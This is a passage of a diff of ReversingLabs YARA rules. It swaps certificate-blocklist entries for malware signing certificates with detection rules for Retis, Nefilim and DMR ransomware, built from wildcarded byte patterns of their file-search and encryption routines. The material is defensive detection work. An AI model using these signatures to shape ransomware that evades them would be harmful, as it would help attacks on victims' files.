"ae:ba:4c:39:30:6f:dd:02:28:49:86:78:01:64:58:14" ) and 1579478400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( all of ( $enum_directories_p* ) ) and ( all of ( $enum_drives_p* ) ) and ( all of ( $encrypt_files_p* ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_028D50Ae0C554B49148E82Db5B1C2699 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Retis : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Retis ransomware." author = "ReversingLabs" - id = "76ccda8a-bdea-5db2-a3a4-11292bfb3c95" - date = "2020-08-05" - modified = "2023-11-08" + id = "3d1de7c2-abb7-5411-a598-6bc68229a22a" + date = "2021-08-12" + modified = "2021-08-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3978-L3994" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Retis.yara#L1-L74" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e3cc0066cad56d78a3f42e092befa3b0855b2ed33c8465c5ecbb19fec082d35e" + logic_hash = "3e3429041acc5730b009916efbcd35c7cfd2b2877dc1d2cf980f7fb7d399d532" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Retis" + tc_detection_factor = 5 importance = 25 + strings: + $search_files = { + 00 00 04 6F ?? ?? ?? ?? 0B 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 0C 00 08 28 ?? ?? ?? ?? + 0A 72 ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 03 6F ?? ?? ?? + ?? 0D 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 06 72 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? + ?? 17 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? + 12 ?? 28 ?? ?? ?? ?? 13 07 00 11 ?? 73 ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 16 FE + ?? 13 ?? 11 ?? 2C ?? 00 02 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1F ?? 28 ?? ?? ?? ?? + 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? + ?? 00 00 2B ?? 00 1F ?? 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? + ?? 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 00 12 ?? + 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 DE + ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ?? + 6F ?? ?? ?? ?? 00 DC 00 12 ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? + ?? 6F ?? ?? ?? ?? 00 DC 2A + } + $search_drives = { + 00 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 00 06 0C 16 0D 2B ?? 08 09 9A 13 ?? 00 + 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 07 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? + ?? 6F ?? ?? ?? ?? 00 00 00 09 17 58 0D 09 08 8E 69 32 ?? 07 72 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 26 00 07 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? + 13 ?? 00 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 00 03 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? + 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 00 11 ?? 72 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? + ?? 17 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? + 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 02 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1F ?? + 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 11 ?? 6F + ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE ?? + ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 DE ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ?? + ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 12 ?? + 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 + DC 2A + } + $encrypt_files = { + 00 03 19 17 73 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 0B 06 07 + 16 07 8E 69 6F ?? ?? ?? ?? 26 06 6F ?? ?? ?? ?? 00 03 18 18 73 ?? ?? ?? ?? + 0C 73 ?? ?? ?? ?? 0D 09 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F + ?? ?? ?? ?? 00 09 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? + ?? ?? 00 09 6F ?? ?? ?? ?? 13 ?? 08 11 ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 07 + 16 07 8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 + 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VAS CO PTY LTD" and pe.signatures [ i ] . serial == "02:8d:50:ae:0c:55:4b:49:14:8e:82:db:5b:1c:26:99" and 1579478400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $search_files and $search_drives and $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_684F478C7259Dde0Cfe2260112Ca9846 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Nefilim : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Nefilim ransomware." author = "ReversingLabs" - id = "840af428-47e0-529e-9db9-8ab9c968f2e3" - date = "2020-08-05" - modified = "2023-11-08" + id = "aec298c1-abf8-5446-9dbb-795f9fcf8e94" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3996-L4012" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Nefilim.yara#L1-L150" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "59654ba1df27029a04ef3b1a1bb54f6c15b727f2013923a11a729752b8829743" + logic_hash = "fae0350e51aee2777475d2222848b30fd39fa39ceea260132b0c7fbc536b3a86" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Nefilim" + tc_detection_factor = 5 importance = 25 + strings: + $create_encryption_key = { + 55 8B EC 51 A1 ?? ?? ?? ?? C1 E8 ?? 6B C0 ?? 56 50 E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? + ?? 8B F0 A1 ?? ?? ?? ?? 59 89 75 ?? 73 ?? B8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 50 E8 ?? + ?? ?? ?? 33 F6 59 59 39 35 ?? ?? ?? ?? 75 ?? 53 57 8B 3D ?? ?? ?? ?? 56 6A ?? 56 BE + ?? ?? ?? ?? 56 BB ?? ?? ?? ?? 53 FF D7 85 C0 75 ?? 6A ?? 6A ?? 50 56 53 FF D7 85 C0 + 75 ?? 50 FF 15 ?? ?? ?? ?? 5F 33 F6 5B A1 ?? ?? ?? ?? C1 E8 ?? 6B C0 ?? 68 ?? ?? ?? + ?? 56 56 50 FF 75 ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 56 EB ?? 5E C9 + C3 + } + $encrypt_encryption_key = { + 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 68 ?? ?? ?? ?? 8D 45 ?? 8D 4D ?? E8 + ?? ?? ?? ?? 83 78 ?? ?? 59 72 ?? 8B 00 53 56 57 33 DB 53 53 6A ?? 53 53 68 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 39 5D ?? 0F 84 + ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? BF ?? ?? ?? ?? 57 FF D3 99 83 E2 ?? 03 C2 C1 F8 ?? 6B + C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 57 8B F0 FF D3 50 57 E8 ?? ?? + ?? ?? 59 59 57 FF D3 99 83 E2 ?? 03 C2 C1 F8 ?? 6B C0 ?? 89 45 ?? 8D 45 ?? 50 56 6A + ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 85 C0 75 ?? FF 15 ?? ?? ?? + ?? 8D 45 ?? 50 57 FF D3 99 83 E2 ?? 03 C2 C1 F8 ?? 6B C0 ?? 50 56 FF 75 ?? FF 15 ?? + ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 + } + $encrypt_files_p1 = { + 55 8B EC 83 E4 ?? 83 EC ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? 83 7D ?? ?? 8B 45 ?? 53 + 56 57 73 ?? 8D 45 ?? 33 DB 53 53 6A ?? 53 53 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 + 44 24 ?? 3B C3 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 51 50 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? + 6B C0 ?? 83 C0 ?? 83 F8 ?? 0F 8E ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A ?? 89 44 24 ?? + E8 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? BE + ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 56 89 44 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? 8B 54 24 ?? + 89 44 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? 8B 54 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 15 ?? + ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 7E ?? 68 ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ?? + 33 FF E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 53 53 FF 74 24 ?? FF 74 24 ?? + FF 74 24 ?? FF D7 53 FF 15 ?? ?? ?? ?? 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? + FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 + F8 ?? 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 53 03 C6 53 13 CB 51 50 FF 74 24 ?? + FF D7 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 8B + } + $encrypt_files_p2 = { + 4C 24 ?? 53 05 ?? ?? ?? ?? 53 13 CB 51 50 FF 74 24 ?? FF D7 53 E8 ?? ?? ?? ?? 0B C2 + 59 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? + ?? ?? 8B 3D ?? ?? ?? ?? 53 8D 44 24 ?? 50 FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 74 + 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 3B C3 0F 8C ?? ?? ?? ?? 7F ?? 81 F9 + ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 89 5C 24 ?? 89 5C 24 ?? 3B C3 0F 8C ?? ?? ?? ?? 7F ?? + 3B CB 0F 86 ?? ?? ?? ?? BE ?? ?? ?? ?? EB ?? 8B 4C 24 ?? 2B 4C 24 ?? 1B 44 24 ?? 89 + 44 24 ?? 0F 88 ?? ?? ?? ?? 7F ?? 81 F9 ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 56 53 FF 15 ?? + ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 53 53 FF 74 24 ?? 89 44 24 ?? FF 74 24 ?? FF 74 24 ?? + FF D7 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B + 54 24 ?? 51 56 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 FF 74 24 ?? FF 74 24 ?? FF + 74 24 ?? FF D7 53 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? FF 74 24 ?? 53 50 FF 15 ?? ?? ?? ?? 81 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? + 11 5C 24 ?? 39 44 24 ?? 0F 8C ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 8B 4C 24 ?? 39 4C 24 ?? + 0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? 3B C3 0F 8C ?? ?? ?? ?? 7F ?? 81 F9 ?? ?? ?? ?? 0F + } + $encrypt_files_p3 = { + 86 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 E8 ?? ?? + ?? ?? 59 89 44 24 ?? FF 15 ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 FF 74 24 ?? FF D7 53 + 8D 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B 54 24 ?? + 51 56 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 33 C0 50 50 FF 74 24 ?? FF D7 53 8D + 44 24 ?? 50 56 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? + 59 E9 ?? ?? ?? ?? 51 53 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? FF 15 ?? + ?? ?? ?? 53 53 33 C0 50 53 FF 74 24 ?? FF D7 53 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24 + ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 + ?? 8B 54 24 ?? 51 FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 33 C0 50 53 + FF 74 24 ?? FF D7 53 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? + ?? ?? FF 74 24 ?? 53 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? + E8 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? + E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 8D 45 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 83 7D ?? ?? 8B + 4D ?? 73 ?? 8D 4D ?? 50 51 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? + 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 + 5D C3 + } + $find_files_1 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 + 57 6A ?? 5E 33 C0 33 FF 6A ?? 66 89 44 24 ?? 57 8D 45 ?? 8D 4C 24 ?? 89 74 24 ?? 89 + 7C 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 66 + 89 44 24 ?? 66 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 03 44 24 ?? 8D 4C 24 ?? 89 74 24 ?? + 89 7C 24 ?? 89 74 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 57 8D 44 24 ?? 50 83 C8 ?? 8D 74 + 24 ?? E8 ?? ?? ?? ?? 57 8D 84 24 ?? ?? ?? ?? 50 83 C8 ?? E8 ?? ?? ?? ?? 8B DE 8D 44 + 24 ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 44 24 ?? 73 ?? 8D 44 24 + ?? 8D 8C 24 ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? + ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 + } + $find_files_2 = { + D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? F6 + 84 24 ?? ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 4C 24 ?? 8D 44 24 ?? 74 ?? E8 ?? ?? + ?? ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 59 8B D8 59 8D 44 24 ?? E8 ?? ?? ?? ?? 6A ?? 33 + FF 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 21 79 + ?? 33 C0 6A ?? C7 41 ?? ?? ?? ?? ?? 66 89 01 50 8D 44 24 ?? E8 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 59 8D 44 24 ?? E8 ?? ?? ?? ?? 6A + ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 50 8D + 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 6A ?? 5F 39 7C 24 ?? 73 ?? 8D 44 24 ?? 8B 35 ?? + ?? ?? ?? 68 + } + $find_files_3 = { + 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68 ?? ?? + ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68 + ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 + ?? 68 ?? ?? ?? ?? 50 FF D6 85 C0 74 ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68 + ?? ?? ?? ?? 50 FF D6 85 C0 74 ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68 ?? ?? + ?? ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 74 ?? + 8B 4C 24 ?? 39 7C 24 ?? 73 ?? 8D 4C 24 ?? 83 EC ?? 8B C4 51 E8 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 74 + 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 33 DB + 43 53 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 53 8D B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D + 74 24 ?? E8 ?? ?? ?? ?? 53 8D 75 ?? E8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 + CC E8 ?? ?? ?? ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LLC \"IP EM\"" and pe.signatures [ i ] . serial == "68:4f:47:8c:72:59:dd:e0:cf:e2:26:01:12:ca:98:46" and 1584981648 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_* ) ) and ( $create_encryption_key ) and ( $encrypt_encryption_key ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_0B7C32208A954A483Dd102E1Be094867 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_DMR : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects DMR ransomware." author = "ReversingLabs" - id = "d16e74d8-2c46-508b-b518-a542603ca726" - date = "2020-08-05" - modified = "2023-11-08" + id = "45d8f91f-d2d0-5c6e-a29e-b8c9c29dc296" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4014-L4030" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DMR.yara#L1-L214" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "49e2208a7d2b5684283c1dfc9856f864d16b50f951f58e0252c97419819a46ec" + logic_hash = "55e19f3017c2cc8355c27f9a516e611b58b108f15bfed41b88d5662b55677a59" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "DMR" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53 + 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ?? + 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? ?? ?? 8A 01 88 85 ?? ?? ?? + ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? + ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B + CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ?? ?? ?? 56 1B C0 89 9D ?? ?? ?? ?? + 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8 + 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 + ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? + ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 + } + $find_files_p2 = { + 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? + ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? + ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? + 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 ?? ?? ?? + ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C3 8B 4D ?? + 5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3 + } + $encrypt_files_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 89 B5 ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? 8D 45 ?? 83 7D ?? ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8D 55 ?? FF B5 ?? ?? ?? + ?? 8D 4D ?? E8 